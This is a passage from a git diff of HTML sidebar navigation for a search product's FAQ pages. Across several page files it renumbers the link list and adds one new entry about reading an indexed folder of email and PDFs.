href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class="active"><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class="active"><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/autoindex-server-back-pressure-429.html b/landing/answers/autoindex-server-back-pressure-429.htmlindex c0fd7706b..d259d2cd8 100644--- a/landing/answers/autoindex-server-back-pressure-429.html+++ b/landing/answers/autoindex-server-back-pressure-429.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class="active"><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class="active"><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/catalog-files-with-autoindex-map.html b/landing/answers/catalog-files-with-autoindex-map.htmlindex c04f937dd..a158d9366 100644--- a/landing/answers/catalog-files-with-autoindex-map.html+++ b/landing/answers/catalog-files-with-autoindex-map.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/cheap-low-volume-log-search.html b/landing/answers/cheap-low-volume-log-search.htmlindex 93a1513d7..fb6cabf09 100644--- a/landing/answers/cheap-low-volume-log-search.html+++ b/landing/answers/cheap-low-volume-log-search.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span 